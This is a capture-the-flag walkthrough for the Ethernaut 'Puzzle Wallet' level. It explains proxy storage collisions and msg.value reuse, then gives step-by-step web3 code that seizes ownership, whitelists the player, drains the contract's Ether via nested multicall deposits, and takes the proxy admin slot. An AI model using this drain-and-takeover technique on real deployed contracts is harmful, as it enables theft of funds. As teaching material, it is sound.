Ethernaut 24 Puzzle Wallet Walkthrough
This contract tests your understanding of proxy patterns, EVM storage, and
delegatecall
. (Link to challenge)
Recommended Reading Before Starting this Challenge
This challenge is larger than most, so making sense of the proxy architecture was, in my opinion, the hardest (and most crucial) part to cracking this puzzle. Here is what I wish I read before diving into the code:
And, as a refresher, recall how delegatecall
works. You’ll need this for cracking the latter half of the challenge.
Hint — Are there any storage collisions between the instance contract and proxy? A related (and much easier) challenge is Level 16 Preservation. Which contract stores the data and which contract handles the logic?
Detailed Walkthrough
This challenge follows the proxy pattern, meaning the first contract is a wrapper in which the users interacts with and those interactions are forwarded to (and from) the second contract. Proxy patterns make it possible to upgrade / change functionality by keeping the “Proxy Gateway” the same while changing the “Logic / Destination Contract”.
To quote OpenZepplin:
The key concept to understand is that the logic contract can be replaced while the proxy, or the access point is never changed. Both contracts are still immutable in the sense that their code cannot be changed, but the logic contract can simply be swapped by another contract. The wrapper can thus point to a different logic implementation and in doing so, the software is “upgraded”.
Pretty cool stuff. However, engineers need to be careful not introduce storage collisions between the proxy gateway + logic.
Looking at our Proxy and Login contracts, notice how address public owner
and address public pendingAdmin
are both stored at slot 0.
Furthermore, notice how the method proposeNewAdmin
sets the value of pendingAdmin
aka the value at slot 0
. The tx -> proxy -> implementation dataflow allows us to become the owner
just by calling proposeNewAdmin
. This is because the Proxy Contract is the storage layer for our Logic Contract.
Step 1 — obtain the ABI for the ProxyContract and become the owner
The first “gotcha” of this challenge is to realize that the usual Ethernautinstance
address refers to the ProxyContract. In contract, the usual contract.abi
reflects the methods available in PuzzleWallet.
To keep things easy, I just used Remix to compile the ABI of ProxyContract that we can connect to via web3.eth
var proxy = await new web3.eth.Contract([
{
"inputs": [
{
"internalType": "address",
"name": "_admin",
"type": "address"
},
{
"internalType": "address",
"name": "_implementation",
"type": "address"
},
{
"internalType": "bytes",
"name": "_initData",
"type": "bytes"
}
],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"anonymous": false,
"inputs": [
{
"indexed": true,
"internalType": "address",
"name": "implementation",
"type": "address"
}
],
"name": "Upgraded",
"type": "event"
},
{
"stateMutability": "payable",
"type": "fallback"
},
{
"inputs": [],
"name": "admin",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_expectedAdmin",
"type": "address"
}
],
"name": "approveNewAdmin",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "pendingAdmin",
"outputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_newAdmin",
"type": "address"
}
],
"name": "proposeNewAdmin",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_newImplementation",
"type": "address"
}
],
"name": "upgradeTo",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
], instance)
Now, it’s possible to make ourselves the pendingAdmin
by calling the proposeNewAdmin
function
await proxy.methods.proposeNewAdmin(player).send({from: player})
Now, via the magic of the Proxy and Logic layer sharing storage at slot 0, the owner
variable within PuzzleWallet
will be overwritten to match our player
address.
await contract.owner() // should now be your address
Step 2 — Whitelist your address
Now that you are the owner
of PuzzleWallet
, you can whitelist your address
await contract.addToWhitelist(player); // overcomes the onlyWhitelisted modifier protecting the functions in the contractawait contract.whitelisted(player) // should now return true
Hooray! Now you have access to all the PuzzleWallet methods. Let’s wreak some havoc!
Step 3 — Use multicall to drain the wallet of funds
Confused about the
this.deposit.selector
line? I was. The method selector is the kecccak256 hash of the method signature. The first four bytes is the method selector. (source)
PuzzleWallet uses multicall
to call an array of methods within a single transaction. It tries to stop you from calling Deposit
more than once. This is because msg.value
is “persistent” between function calls.
If this safety check was not there within multicall
, you’d simply be able to use multicall
to invokedeposit
to your own address multiple times while only sending Ether once, making the smart contract think you have a larger balance than you should.
This is, in essence, what we need to do to break this contract.
Let’s break down our attack into 3 separate function calls, all sent to multicall
along with a msg.value of 1 Ether. Update 2022 — the contract is now holding less Ether (currently 0.001 ETH)
- Function to invoke the PuzzleWallet.deposit function
- Function which invokes multicall which invokes deposit again
- Function which invokes PuzzleWallet.execute, sending our address 2x the Ether we sent in our msg.value
multicall
expects an array of bytes which it compares to deposit.selector
. We can get our target function method selectors by reading the first 4 bytes of our target method
web3.utils.keccak256('deposit()') // 0xd0e30db0
Alternatively, we can use the built-in web3
method.request
utility to get this data:
var {data: puzzleDeposit } = await contract.deposit.request() // 0xd0e30db0
Repeat this to grab the data for our other two functions:
// function 2
var { data: inceptionMultiCall } = await contract.multicall.request([ puzzleDeposit ]);// function 3
var { data: puzzleExecute } = await contract.execute.request(player, web3.utils.toWei('2', 'ether'), []);
Now we are ready to steal some money:
var our3Functions = [
puzzleDeposit,
inceptionMultiCall,
puzzleExecute,
];await contract.multicall(our3Functions, { from: player, value: web3.utils.toWei('1', 'ether')});
If you were successful, the target contract should now have 0 balance and you should have an extra Ether in your wallet.
await web3.eth.getBalance(instance) // should now be 0
Step 4 — Become the admin of the proxy
Now that the PuzzleWallet is drained of funds, we can make ourselves the admin
by leveraging the storage overlap between the Proxy and Logic contracts. This is similar to what we did in Step 1
await contract.setMaxBalance(player);
Key Takeaways
- Storage conflicts can exist between Proxy and Logic contracts if configured incorrectly
- Msg.value remains the same between function invocations — even when the Ether is already “spent”.
- Proxy patterns, when applied correctly, are a powerful way to maintain “upgradability” within the immutable world of the blockchain.